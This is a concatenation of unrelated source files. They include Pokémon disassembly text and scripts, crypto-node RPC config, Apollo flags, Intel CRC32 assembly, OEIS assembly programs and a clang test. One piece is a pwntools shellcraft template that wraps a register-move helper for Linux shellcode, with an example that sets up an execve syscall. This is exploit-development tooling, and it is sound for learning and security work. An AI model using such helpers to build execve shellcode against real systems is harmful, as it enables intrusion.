cont "find out how good" cont "you really are." done _CeruleanGymBattleText2:: text "Splash!" para "I'm first up!" line "Let's do it!" done _CeruleanGymEndBattleText2:: text "That" line "can't be!" prompt _CeruleanGymAfterBattleText2:: text "MISTY is going to" line "keep improving!" para "She won't lose to" line "someone like you!" done _CeruleanGymText_5c82a:: text "Yo! Champ in" line "making!" para "Here's my advice!" para "The LEADER, MISTY," line "is a pro who uses" cont "water #MON!" para "You can drain all" line "their water with" cont "plant #MON!" para "Or, zap them with" line "Pikachu!" done _CeruleanGymText_5c82f:: text "You beat MISTY!" line "What'd I tell ya?" para "You and me, kid," line "we make a pretty" cont "darn good team!" done
// Copyright (c) 2012-2017, The CryptoNote developers, The Bytecoin developers // Copyright (c) 2018-2020, The Qwertycoin Group. // // This file is part of Qwertycoin. // // Qwertycoin is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Qwertycoin is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with Qwertycoin. If not, see <http://www.gnu.org/licenses/>. #include <Common/CommandLine.h> #include <Global/CryptoNoteConfig.h> #include <Rpc/RpcServerConfig.h> #include <android.h> namespace CryptoNote { namespace { const std::string DEFAULT_RPC_IP = "127.0.0.1"; const uint16_t DEFAULT_RPC_PORT = RPC_DEFAULT_PORT; const command_line::arg_descriptor<std::string> arg_rpc_bind_ip = { "rpc-bind-ip", "", DEFAULT_RPC_IP }; const command_line::arg_descriptor<uint16_t> arg_rpc_bind_port = { "rpc-bind-port", "", DEFAULT_RPC_PORT }; } // namespace RpcServerConfig::RpcServerConfig() : bindIp(DEFAULT_RPC_IP), bindPort(DEFAULT_RPC_PORT) { } void RpcServerConfig::init(const boost::program_options::variables_map &vm) { bindIp = command_line::get_arg(vm, arg_rpc_bind_ip); bindPort = command_line::get_arg(vm, arg_rpc_bind_port); } void RpcServerConfig::initOptions(boost::program_options::options_description &desc) { command_line::add_arg(desc, arg_rpc_bind_ip); command_line::add_arg(desc, arg_rpc_bind_port); } std::string RpcServerConfig::getBindAddress() const { return bindIp + ":" + std::to_string(bindPort); } } // namespace CryptoNote
/* Copyright Rene Rivera 2019 Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE.txt or copy at http://www.boost.org/LICENSE_1_0.txt) */ // tag::part1[] #include <iostream> #include <lyra/lyra.hpp> int main(int argc, const char** argv) { int repeat = 0; std::string message; // Ex: <exe> --repeat=10 "Hello world." auto cli = lyra::opt(repeat, "-repeat")["--repeat"] | lyra::arg(message, "message"); if (cli.parse({ argc, argv })) { for (int count = 0; count < repeat; ++count) std::cout << message << "\n"; } return 0; } // end::part1[]
92_Header: sHeaderInit ; Z80 offset is $D050 sHeaderPatch 92_Patches sHeaderTick $01 sHeaderCh $01 sHeaderSFX $80, $05, 92_FM5, $00, $00 92_FM5: sPatFM $00 ssModZ80 $01, $01, $69, $70 dc.b nB5, $06, nD6, $07 sStop 92_Patches: ; Patch $00 ; $43 ; $38, $4F, $F7, $44, $9F, $1F, $1F, $1F ; $0B, $09, $08, $0B, $0A, $12, $04, $0C ; $10, $01, $14, $19, $2D, $80, $08, $80 spAlgorithm $03 spFeedback $00 spDetune $03, $0F, $04, $04 spMultiple $08, $07, $0F, $04 spRateScale $02, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $0B, $08, $09, $0B spSustainLv $01, $01, $00, $01 spDecayRt $0A, $04, $12, $0C spReleaseRt $00, $04, $01, $09 spTotalLv $2D, $08, $00, $00
/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/common/configs/config_gflags.h" DEFINE_string(map_dir, "/apollo/modules/map/data/demo", "Directory which contains a group of related maps."); DEFINE_int32(local_utm_zone_id, 10, "UTM zone id."); DEFINE_string(test_base_map_filename, "", "If not empty, use this test base map files."); DEFINE_string(base_map_filename, "base_map.bin|base_map.xml|base_map.txt", "Base map files in the map_dir, search in order."); DEFINE_string(sim_map_filename, "sim_map.bin|sim_map.txt", "Simulation map files in the map_dir, search in order."); DEFINE_string(routing_map_filename, "routing_map.bin|routing_map.txt", "Routing map files in the map_dir, search in order."); DEFINE_string(end_way_point_filename, "default_end_way_point.txt", "End way point of the map, will be sent in RoutingRequest."); DEFINE_string(default_routing_filename, "default_cycle_routing.txt", "Default cycle routing of the map, will be sent in Task to Task " "Manager Module."); DEFINE_string(speed_control_filename, "speed_control.pb.txt", "The speed control region in a map."); DEFINE_string(vehicle_config_path, "/apollo/modules/common/data/vehicle_param.pb.txt", "the file path of vehicle config file"); DEFINE_string( vehicle_model_config_filename, "/apollo/modules/common/vehicle_model/conf/vehicle_model_config.pb.txt", "the file path of vehicle model config file"); DEFINE_bool(use_cyber_time, false, "Whether Clock::Now() gets time from system_clock::now() or from " "Cyber."); DEFINE_string(localization_tf2_frame_id, "world", "the tf2 transform frame id"); DEFINE_string(localization_tf2_child_frame_id, "localization", "the tf2 transform child frame id"); DEFINE_bool(use_navigation_mode, false, "Use relative position in navigation mode"); DEFINE_string( navigation_mode_end_way_point_file, "modules/dreamview/conf/navigation_mode_default_end_way_point.txt", "end_way_point file used if navigation mode is set."); DEFINE_double(half_vehicle_width, 1.05, "half vehicle width"); DEFINE_double(look_forward_time_sec, 8.0, "look forward time times adc speed to calculate this distance " "when creating reference line from routing"); DEFINE_bool(use_sim_time, false, "Use bag time in mock time mode."); DEFINE_bool(reverse_heading_vehicle_state, false, "test flag for reverse driving."); DEFINE_bool(state_transform_to_com_reverse, false, "Enable vehicle states coordinate transformation from center of " "rear-axis to center of mass, during reverse driving"); DEFINE_bool(state_transform_to_com_drive, true, "Enable vehicle states coordinate transformation from center of " "rear-axis to center of mass, during forward driving");
//////////////////////////////////////////////////////////////////////////// // // Copyright 2015 Realm Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // //////////////////////////////////////////////////////////////////////////// #include <thread> namespace realm { class Realm; namespace _impl { class RealmCoordinator; class ExternalCommitHelper { public: ExternalCommitHelper(RealmCoordinator& parent); ~ExternalCommitHelper(); void notify_others(); private: // A RAII holder for a file descriptor which automatically closes the wrapped // fd when it's deallocated class FdHolder { public: FdHolder() = default; ~FdHolder() { close(); } operator int() const { return m_fd; } FdHolder& operator=(int newFd) { close(); m_fd = newFd; return *this; } private: int m_fd = -1; void close(); FdHolder& operator=(FdHolder const&) = delete; FdHolder(FdHolder const&) = delete; }; void listen(); RealmCoordinator& m_parent; // The listener thread std::thread m_thread; // Pipe which is waited on for changes and written to when there is a new // commit to notify others of. When using a named pipe m_notify_fd is // read-write and m_notify_fd_write is unused; when using an anonymous pipe // (on tvOS) m_notify_fd is read-only and m_notify_fd_write is write-only. FdHolder m_notify_fd; FdHolder m_notify_fd_write; // File descriptor for the kqueue FdHolder m_kq; // The two ends of an anonymous pipe used to notify the kqueue() thread that // it should be shut down. FdHolder m_shutdown_read_fd; FdHolder m_shutdown_write_fd; }; } // namespace _impl } // namespace realm
<% from pwnlib.shellcraft import amd64 from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context %> <%page args="dest, src, stack_allowed = True"/> <%docstring> Thin wrapper around :func:`pwnlib.shellcraft.amd64.mov`, which sets `context.os` to `'linux'` before calling. Example: >>> print pwnlib.shellcraft.amd64.linux.mov('eax', 'SYS_execve').rstrip() push 0x3b pop rax </%docstring> % with ctx.local(os = 'linux'): ${amd64.mov(dest, src, stack_allowed)} % endwith
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright (C) 2022 Intel Corporation ; ; SPDX-License-Identifier: MIT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Function API: ; UINT32 crc32_gzip_refl_by8_02( ; UINT32 init_crc, //initial CRC value, 32 bits ; const unsigned char *buf, //buffer pointer to calculate CRC on ; UINT64 len //buffer length in bytes (64-bit data) ; ); ; ; Authors: ; Erdinc Ozturk ; Vinodh Gopal ; James Guilford ; ; Reference paper titled "Fast CRC Computation for Generic Polynomials Using PCLMULQDQ Instruction" ; URL: http://download.intel.com/design/intarch/papers/323102.pdf ; ; ; sample yasm command line: ; yasm -f x64 -f elf64 -X gnu -g dwarf2 crc32_gzip_refl_by8 ; ; As explained here: ; http://docs.oracle.com/javase/7/docs/api/java/util/zip/package-summary.html ; CRC-32 checksum is described in RFC 1952 ; Implementing RFC 1952 CRC: ; http://www.ietf.org/rfc/rfc1952.txt %include "reg_sizes.asm" %define fetch_dist 1024 [bits 64] default rel section .text %ifidn __OUTPUT_FORMAT__, win64 %xdefine arg1 rcx %xdefine arg2 rdx %xdefine arg3 r8 %xdefine arg1_low32 ecx %else %xdefine arg1 rdi %xdefine arg2 rsi %xdefine arg3 rdx %xdefine arg1_low32 edi %endif %define TMP 16*0 %ifidn __OUTPUT_FORMAT__, win64 %define XMM_SAVE 16*2 %define VARIABLE_OFFSET 16*10+8 %else %define VARIABLE_OFFSET 16*2+8 %endif align 16 mk_global crc32_gzip_refl_by8_02, function crc32_gzip_refl_by8_02: endbranch not arg1_low32 sub rsp, VARIABLE_OFFSET %ifidn __OUTPUT_FORMAT__, win64 ; push the xmm registers into the stack to maintain vmovdqa [rsp + XMM_SAVE + 16*0], xmm6 vmovdqa [rsp + XMM_SAVE + 16*1], xmm7 vmovdqa [rsp + XMM_SAVE + 16*2], xmm8 vmovdqa [rsp + XMM_SAVE + 16*3], xmm9 vmovdqa [rsp + XMM_SAVE + 16*4], xmm10 vmovdqa [rsp + XMM_SAVE + 16*5], xmm11 vmovdqa [rsp + XMM_SAVE + 16*6], xmm12 vmovdqa [rsp + XMM_SAVE + 16*7], xmm13 %endif ; check if smaller than 256B cmp arg3, 256 jl .less_than_256 ; load the initial crc value vmovd xmm10, arg1_low32 ; initial crc ; receive the initial 64B data, xor the initial crc value vmovdqu xmm0, [arg2+16*0] vmovdqu xmm1, [arg2+16*1] vmovdqu xmm2, [arg2+16*2] vmovdqu xmm3, [arg2+16*3] vmovdqu xmm4, [arg2+16*4] vmovdqu xmm5, [arg2+16*5] vmovdqu xmm6, [arg2+16*6] vmovdqu xmm7, [arg2+16*7] ; XOR the initial_crc value vpxor xmm0, xmm10 vmovdqa xmm10, [rk3] ;xmm10 has rk3 and rk4 ;imm value of pclmulqdq instruction will determine which constant to use ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; we subtract 256 instead of 128 to save one instruction from the loop sub arg3, 256 ; at this section of the code, there is 128*x+y (0<=y<128) bytes of buffer. The fold_128_B_loop ; loop will fold 128B at a time until we have 128+y Bytes of buffer ; fold 128B at a time. This section of the code folds 8 xmm registers in parallel .fold_128_B_loop: add arg2, 128 prefetchnta [arg2+fetch_dist+0] vmovdqu xmm9, [arg2+16*0] vmovdqu xmm12, [arg2+16*1] vpclmulqdq xmm8, xmm0, xmm10, 0x10 vpclmulqdq xmm0, xmm0, xmm10 , 0x1 vpclmulqdq xmm13, xmm1, xmm10, 0x10 vpclmulqdq xmm1, xmm1, xmm10 , 0x1 vpxor xmm0, xmm9 vxorps xmm0, xmm8 vpxor xmm1, xmm12 vxorps xmm1, xmm13 prefetchnta [arg2+fetch_dist+32] vmovdqu xmm9, [arg2+16*2] vmovdqu xmm12, [arg2+16*3] vpclmulqdq xmm8, xmm2, xmm10, 0x10 vpclmulqdq xmm2, xmm2, xmm10 , 0x1 vpclmulqdq xmm13, xmm3, xmm10, 0x10 vpclmulqdq xmm3, xmm3, xmm10 , 0x1 vpxor xmm2, xmm9 vxorps xmm2, xmm8 vpxor xmm3, xmm12 vxorps xmm3, xmm13 prefetchnta [arg2+fetch_dist+64] vmovdqu xmm9, [arg2+16*4] vmovdqu xmm12, [arg2+16*5] vpclmulqdq xmm8, xmm4, xmm10, 0x10 vpclmulqdq xmm4, xmm4, xmm10 , 0x1 vpclmulqdq xmm13, xmm5, xmm10, 0x10 vpclmulqdq xmm5, xmm5, xmm10 , 0x1 vpxor xmm4, xmm9 vxorps xmm4, xmm8 vpxor xmm5, xmm12 vxorps xmm5, xmm13 prefetchnta [arg2+fetch_dist+96] vmovdqu xmm9, [arg2+16*6] vmovdqu xmm12, [arg2+16*7] vpclmulqdq xmm8, xmm6, xmm10, 0x10 vpclmulqdq xmm6, xmm6, xmm10 , 0x1 vpclmulqdq xmm13, xmm7, xmm10, 0x10 vpclmulqdq xmm7, xmm7, xmm10 , 0x1 vpxor xmm6, xmm9 vxorps xmm6, xmm8 vpxor xmm7, xmm12 vxorps xmm7, xmm13 sub arg3, 128 jge .fold_128_B_loop ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; add arg2, 128 ; at this point, the buffer pointer is pointing at the last y Bytes of the buffer, where 0 <= y < 128 ; the 128B of folded data is in 8 of the xmm registers: xmm0, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7 ; fold the 8 xmm registers to 1 xmm register with different constants vmovdqa xmm10, [rk9] vpclmulqdq xmm8, xmm0, xmm10, 0x1 vpclmulqdq xmm0, xmm0, xmm10, 0x10 vpxor xmm7, xmm8 vxorps xmm7, xmm0 vmovdqa xmm10, [rk11] vpclmulqdq xmm8, xmm1, xmm10, 0x1 vpclmulqdq xmm1, xmm1, xmm10, 0x10 vpxor xmm7, xmm8 vxorps xmm7, xmm1 vmovdqa xmm10, [rk13] vpclmulqdq xmm8, xmm2, xmm10, 0x1 vpclmulqdq xmm2, xmm2, xmm10, 0x10 vpxor xmm7, xmm8 vpxor xmm7, xmm2 vmovdqa xmm10, [rk15] vpclmulqdq xmm8, xmm3, xmm10, 0x1 vpclmulqdq xmm3, xmm3, xmm10, 0x10 vpxor xmm7, xmm8 vxorps xmm7, xmm3 vmovdqa xmm10, [rk17] vpclmulqdq xmm8, xmm4, xmm10, 0x1 vpclmulqdq xmm4, xmm4, xmm10, 0x10 vpxor xmm7, xmm8 vpxor xmm7, xmm4 vmovdqa xmm10, [rk19] vpclmulqdq xmm8, xmm5, xmm10, 0x1 vpclmulqdq xmm5, xmm5, xmm10, 0x10 vpxor xmm7, xmm8 vxorps xmm7, xmm5 vmovdqa xmm10, [rk1] vpclmulqdq xmm8, xmm6, xmm10, 0x1 vpclmulqdq xmm6, xmm6, xmm10, 0x10 vpxor xmm7, xmm8 vpxor xmm7, xmm6 ; instead of 128, we add 128-16 to the loop counter to save 1 instruction from the loop ; instead of a cmp instruction, we use the negative flag with the jl instruction add arg3, 128-16 jl .final_reduction_for_128 ; now we have 16+y bytes left to reduce. 16 Bytes is in register xmm7 and the rest is in memory ; we can fold 16 bytes at a time if y>=16 ; continue folding 16B at a time .16B_reduction_loop: vpclmulqdq xmm8, xmm7, xmm10, 0x1 vpclmulqdq xmm7, xmm7, xmm10, 0x10 vpxor xmm7, xmm8 vmovdqu xmm0, [arg2] vpxor xmm7, xmm0 add arg2, 16 sub arg3, 16 ; instead of a cmp instruction, we utilize the flags with the jge instruction ; equivalent of: cmp arg3, 16-16 ; check if there is any more 16B in the buffer to be able to fold jge .16B_reduction_loop ;now we have 16+z bytes left to reduce, where 0<= z < 16. ;first, we reduce the data in the xmm7 register .final_reduction_for_128: add arg3, 16 je .128_done ; here we are getting data that is less than 16 bytes. ; since we know that there was data before the pointer, we can offset ; the input pointer before the actual point, to receive exactly 16 bytes. ; after that the registers need to be adjusted. .get_last_two_xmms: vmovdqa xmm2, xmm7 vmovdqu xmm1, [arg2 - 16 + arg3] ; get rid of the extra data that was loaded before ; load the shift constant lea rax, [pshufb_shf_table] add rax, arg3 vmovdqu xmm0, [rax] vpshufb xmm7, xmm0 vpxor xmm0, [mask3] vpshufb xmm2, xmm0 vpblendvb xmm2, xmm2, xmm1, xmm0 ;;;;;;;;;; vpclmulqdq xmm8, xmm7, xmm10, 0x1 vpclmulqdq xmm7, xmm7, xmm10, 0x10 vpxor xmm7, xmm8 vpxor xmm7, xmm2 .128_done: ; compute crc of a 128-bit value vmovdqa xmm10, [rk5] vmovdqa xmm0, xmm7 ;64b fold vpclmulqdq xmm7, xmm10, 0 vpsrldq xmm0, 8 vpxor xmm7, xmm0 ;32b fold vmovdqa xmm0, xmm7 vpslldq xmm7, 4 vpclmulqdq xmm7, xmm10, 0x10 vpxor xmm7, xmm0 ;barrett reduction .barrett: vpand xmm7, [mask2] vmovdqa xmm1, xmm7 vmovdqa xmm2, xmm7 vmovdqa xmm10, [rk7] vpclmulqdq xmm7, xmm10, 0 vpxor xmm7, xmm2 vpand xmm7, [mask] vmovdqa xmm2, xmm7 vpclmulqdq xmm7, xmm10, 0x10 vpxor xmm7, xmm2 vpxor xmm7, xmm1 vpextrd eax, xmm7, 2 .cleanup: not eax %ifidn __OUTPUT_FORMAT__, win64 vmovdqa xmm6, [rsp + XMM_SAVE + 16*0] vmovdqa xmm7, [rsp + XMM_SAVE + 16*1] vmovdqa xmm8, [rsp + XMM_SAVE + 16*2] vmovdqa xmm9, [rsp + XMM_SAVE + 16*3] vmovdqa xmm10, [rsp + XMM_SAVE + 16*4] vmovdqa xmm11, [rsp + XMM_SAVE + 16*5] vmovdqa xmm12, [rsp + XMM_SAVE + 16*6] vmovdqa xmm13, [rsp + XMM_SAVE + 16*7] %endif add rsp, VARIABLE_OFFSET ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; align 16 .less_than_256: ; check if there is enough buffer to be able to fold 16B at a time cmp arg3, 32 jl .less_than_32 ; if there is, load the constants vmovdqa xmm10, [rk1] ; rk1 and rk2 in xmm10 vmovd xmm0, arg1_low32 ; get the initial crc value vmovdqu xmm7, [arg2] ; load the plaintext vpxor xmm7, xmm0 ; update the buffer pointer add arg2, 16 ; update the counter. subtract 32 instead of 16 to save one instruction from the loop sub arg3, 32 jmp .16B_reduction_loop align 16 .less_than_32: ; mov initial crc to the return value. this is necessary for zero-length buffers. mov eax, arg1_low32 test arg3, arg3 je .cleanup vmovd xmm0, arg1_low32 ; get the initial crc value cmp arg3, 16 je .exact_16_left jl .less_than_16_left vmovdqu xmm7, [arg2] ; load the plaintext vpxor xmm7, xmm0 ; xor the initial crc value add arg2, 16 sub arg3, 16 vmovdqa xmm10, [rk1] ; rk1 and rk2 in xmm10 jmp .get_last_two_xmms align 16 .less_than_16_left: ; use stack space to load data less than 16 bytes, zero-out the 16B in memory first. vpxor xmm1, xmm1 mov r11, rsp vmovdqa [r11], xmm1 cmp arg3, 4 jl .only_less_than_4 ; backup the counter value mov r9, arg3 cmp arg3, 8 jl .less_than_8_left ; load 8 Bytes mov rax, [arg2] mov [r11], rax add r11, 8 sub arg3, 8 add arg2, 8 .less_than_8_left: cmp arg3, 4 jl .less_than_4_left ; load 4 Bytes mov eax, [arg2] mov [r11], eax add r11, 4 sub arg3, 4 add arg2, 4 .less_than_4_left: cmp arg3, 2 jl .less_than_2_left ; load 2 Bytes mov ax, [arg2] mov [r11], ax add r11, 2 sub arg3, 2 add arg2, 2 .less_than_2_left: cmp arg3, 1 jl .zero_left ; load 1 Byte mov al, [arg2] mov [r11], al .zero_left: vmovdqa xmm7, [rsp] vpxor xmm7, xmm0 ; xor the initial crc value lea rax,[pshufb_shf_table] vmovdqu xmm0, [rax + r9] vpshufb xmm7,xmm0 jmp .128_done align 16 .exact_16_left: vmovdqu xmm7, [arg2] vpxor xmm7, xmm0 ; xor the initial crc value jmp .128_done .only_less_than_4: cmp arg3, 3 jl .only_less_than_3 ; load 3 Bytes mov al, [arg2] mov [r11], al mov al, [arg2+1] mov [r11+1], al mov al, [arg2+2] mov [r11+2], al vmovdqa xmm7, [rsp] vpxor xmm7, xmm0 ; xor the initial crc value vpslldq xmm7, 5 jmp .barrett .only_less_than_3: cmp arg3, 2 jl .only_less_than_2 ; load 2 Bytes mov al, [arg2] mov [r11], al mov al, [arg2+1] mov [r11+1], al vmovdqa xmm7, [rsp] vpxor xmm7, xmm0 ; xor the initial crc value vpslldq xmm7, 6 jmp .barrett .only_less_than_2: ; load 1 Byte mov al, [arg2] mov [r11], al vmovdqa xmm7, [rsp] vpxor xmm7, xmm0 ; xor the initial crc value vpslldq xmm7, 7 jmp .barrett section .data ; precomputed constants align 16 rk1: dq 0x00000000ccaa009e rk2: dq 0x00000001751997d0 rk3: dq 0x000000014a7fe880 rk4: dq 0x00000001e88ef372 rk5: dq 0x00000000ccaa009e rk6: dq 0x0000000163cd6124 rk7: dq 0x00000001f7011640 rk8: dq 0x00000001db710640 rk9: dq 0x00000001d7cfc6ac rk10: dq 0x00000001ea89367e rk11: dq 0x000000018cb44e58 rk12: dq 0x00000000df068dc2 rk13: dq 0x00000000ae0b5394 rk14: dq 0x00000001c7569e54 rk15: dq 0x00000001c6e41596 rk16: dq 0x0000000154442bd4 rk17: dq 0x0000000174359406 rk18: dq 0x000000003db1ecdc rk19: dq 0x000000015a546366 rk20: dq 0x00000000f1da05aa mask: dq 0xFFFFFFFFFFFFFFFF, 0x0000000000000000 mask2: dq 0xFFFFFFFF00000000, 0xFFFFFFFFFFFFFFFF mask3: dq 0x8080808080808080, 0x8080808080808080 pshufb_shf_table: ; use these values for shift constants for the pshufb instruction ; different alignments result in values as shown: ; dq 0x8887868584838281, 0x008f8e8d8c8b8a89 ; shl 15 (16-1) / shr1 ; dq 0x8988878685848382, 0x01008f8e8d8c8b8a ; shl 14 (16-3) / shr2 ; dq 0x8a89888786858483, 0x0201008f8e8d8c8b ; shl 13 (16-4) / shr3 ; dq 0x8b8a898887868584, 0x030201008f8e8d8c ; shl 12 (16-4) / shr4 ; dq 0x8c8b8a8988878685, 0x04030201008f8e8d ; shl 11 (16-5) / shr5 ; dq 0x8d8c8b8a89888786, 0x0504030201008f8e ; shl 10 (16-6) / shr6 ; dq 0x8e8d8c8b8a898887, 0x060504030201008f ; shl 9 (16-7) / shr7 ; dq 0x8f8e8d8c8b8a8988, 0x0706050403020100 ; shl 8 (16-8) / shr8 ; dq 0x008f8e8d8c8b8a89, 0x0807060504030201 ; shl 7 (16-9) / shr9 ; dq 0x01008f8e8d8c8b8a, 0x0908070605040302 ; shl 6 (16-10) / shr10 ; dq 0x0201008f8e8d8c8b, 0x0a09080706050403 ; shl 5 (16-11) / shr11 ; dq 0x030201008f8e8d8c, 0x0b0a090807060504 ; shl 4 (16-12) / shr12 ; dq 0x04030201008f8e8d, 0x0c0b0a0908070605 ; shl 3 (16-13) / shr13 ; dq 0x0504030201008f8e, 0x0d0c0b0a09080706 ; shl 2 (16-14) / shr14 ; dq 0x060504030201008f, 0x0e0d0c0b0a090807 ; shl 1 (16-15) / shr15 dq 0x8786858483828100, 0x8f8e8d8c8b8a8988 dq 0x0706050403020100, 0x000e0d0c0b0a0908
#include "logxx/logger_ostream.h" #include <sstream> #include <doctest/doctest.h> DOCTEST_TEST_CASE("logger_ostream") { std::ostringstream str; logxx::logger_ostream stream(str); logxx::scoped_logger scoped(stream); LOGXX_LOG_INFO("testing ostream"); DOCTEST_CHECK(str.str().find("testing ostream") != std::string::npos); } DOCTEST_TEST_CASE("logger_ostream_synchronized") { std::ostringstream str; logxx::logger_ostream_synchronized stream(str); logxx::scoped_logger scoped(stream); LOGXX_LOG_INFO("testing ostream"); DOCTEST_CHECK(str.str().find("testing ostream") != std::string::npos); }
; ; CPC Maths Routines ; ; August 2003 **_|warp6|_** <kbaccam /at/ free.fr> ; ; $Id: fsetup.asm,v 1.2 2007/07/21 21:28:22 dom Exp $ ; INCLUDE "#cpcfp.def" XLIB fsetup XREF fa .fsetup ld hl,fa+1 ; de=fa+1 ex de,hl ld hl,5 add hl,sp ; hl=sp+5 ret
; A026604: a(n) = s(1) + s(2) + ... + s(n), where s = A026600. ; 1,3,6,8,11,12,15,16,18,20,23,24,27,28,30,31,33,36,39,40,42,43,45,48,50,53,54,56,59,60,63,64,66,67,69,72,75,76,78,79,81,84,86,89,90,91,93,96,98,101,102,105,106,108,111,112,114,115,117 mov $2,$0 mov $3,$0 add $3,1 lpb $3,1 mov $0,$2 sub $3,1 sub $0,$3 mov $4,$0 mov $5,12 lpb $0,1 sub $0,1 add $5,$4 div $4,3 lpe mov $0,1 mov $4,$5 mod $4,3 add $0,$4 add $1,$0 lpe
// RUN: %clang_cc1 -triple i386-unknown-unknown -emit-llvm -o - %s | FileCheck %s void __attribute__((fastcall)) foo1(int &y); void bar1(int &y) { // CHECK-LABEL: define void @_Z4bar1Ri // CHECK: call x86_fastcallcc void @_Z4foo1Ri(i32* inreg dereferenceable({{[0-9]+}}) % foo1(y); } struct S1 { int x; S1(const S1 &y); }; void __attribute__((fastcall)) foo2(S1 a, int b); void bar2(S1 a, int b) { // CHECK-LABEL: define void @_Z4bar22S1i // CHECK: call x86_fastcallcc void @_Z4foo22S1i(%struct.S1* inreg %{{.*}}, i32 inreg % foo2(a, b); }
; A054204: Integers expressible as sums of distinct even-subscripted Fibonacci numbers. ; 1,3,4,8,9,11,12,21,22,24,25,29,30,32,33,55,56,58,59,63,64,66,67,76,77,79,80,84,85,87,88,144,145,147,148,152,153,155,156,165,166,168,169,173,174,176,177,199,200,202,203,207,208,210,211,220,221,223,224,228,229,231,232,377,378,380,381,385,386,388,389,398,399,401,402,406,407,409,410,432,433,435,436,440,441,443,444,453,454,456,457,461,462,464,465,521,522,524,525,529 add $0,1 seq $0,36795 ; Integers that can be decomposed into sums of different Fibonacci numbers of even argument. sub $0,1
object_const_def ; object_event constants const ELMSLAB_ELM const ELMSLAB_ELMS_AIDE const ELMSLAB_POKE_BALL1 const ELMSLAB_POKE_BALL2 const ELMSLAB_POKE_BALL3 const ELMENTRANCE_SILVER ElmsLab_MapScripts: db 7 ; scene scripts scene_script .DummyScene1 ; SCENE_DEFAULT scene_script .MeetElm ; SCENE_MEETELM scene_script .DummyScene1 ; SCENE_ELMSLAB_CANT_LEAVE scene_script .DummyScene1 ; SCENE_ELMSLAB_NOTHING scene_script .DummyScene1 ; SCENE_ELMSLAB_MEET_OFFICER scene_script .DummyScene1 ; SCENE_ELMSLAB_UNUSED scene_script .DummyScene1 ; SCENE_ELMSLAB_AIDE_GIVES_POTION db 1 ; callbacks callback MAPCALLBACK_OBJECTS, .MoveElmCallback .MeetElm: prioritysjump .WalkUpToElm end .DummyScene1: end .MoveElmCallback: checkscene iffalse .doHide checkscene SCENE_MEETELM iftrue .doMove return .doMove moveobject ELMSLAB_ELM, 4, 10 return .doHide moveobject ELMSLAB_ELM, 99, 99 disappear ELMSLAB_ELM return .WalkUpToElm: moveobject ELMSLAB_ELM, 4, 10 follow ELMSLAB_ELM, PLAYER applymovement ELMSLAB_ELM, ElmsLab_WalkUpToPCMovement stopfollow applymovement ELMSLAB_ELM, ElmsLab_WalkUpToPC2Movement applymovement PLAYER, ElmsLab_CantLeaveMovement turnobject ELMSLAB_ELM, RIGHT turnobject PLAYER, LEFT turnobject ELMENTRANCE_SILVER, LEFT opentext writetext ElmText_Intro closetext opentext writetext ElmText_ResearchAmbitions waitbutton closetext playsound SFX_GLASS_TING pause 30 showemote EMOTE_SHOCK, ELMSLAB_ELM, 10 turnobject ELMSLAB_ELM, DOWN opentext writetext SilverEmailShock closetext turnobject ELMSLAB_ELM, RIGHT opentext writetext ElmText_MissionFromMrPokemon waitbutton closetext applymovement ELMSLAB_ELM, ElmsLab_ElmToDefaultPositionMovement1 turnobject PLAYER, UP applymovement ELMSLAB_ELM, ElmsLab_ElmToDefaultPositionMovement2 turnobject PLAYER, RIGHT opentext writetext ElmText_ChooseAPokemon writetext ElmsLabSilverText2 waitbutton setscene SCENE_ELMSLAB_CANT_LEAVE closetext end .ElmsLabSilverScript3: jumptextfaceplayer Text_Best .ElmGetsEmail: writetext ElmText_ResearchAmbitions waitbutton closetext ProfElmScript: faceplayer opentext checkevent EVENT_GOT_SS_TICKET_FROM_ELM iftrue ElmCheckMasterBall checkevent EVENT_BEAT_ELITE_FOUR iftrue ElmGiveTicketScript ElmCheckMasterBall: checkevent EVENT_GOT_MASTER_BALL_FROM_ELM iftrue ElmCheckEverstone checkflag 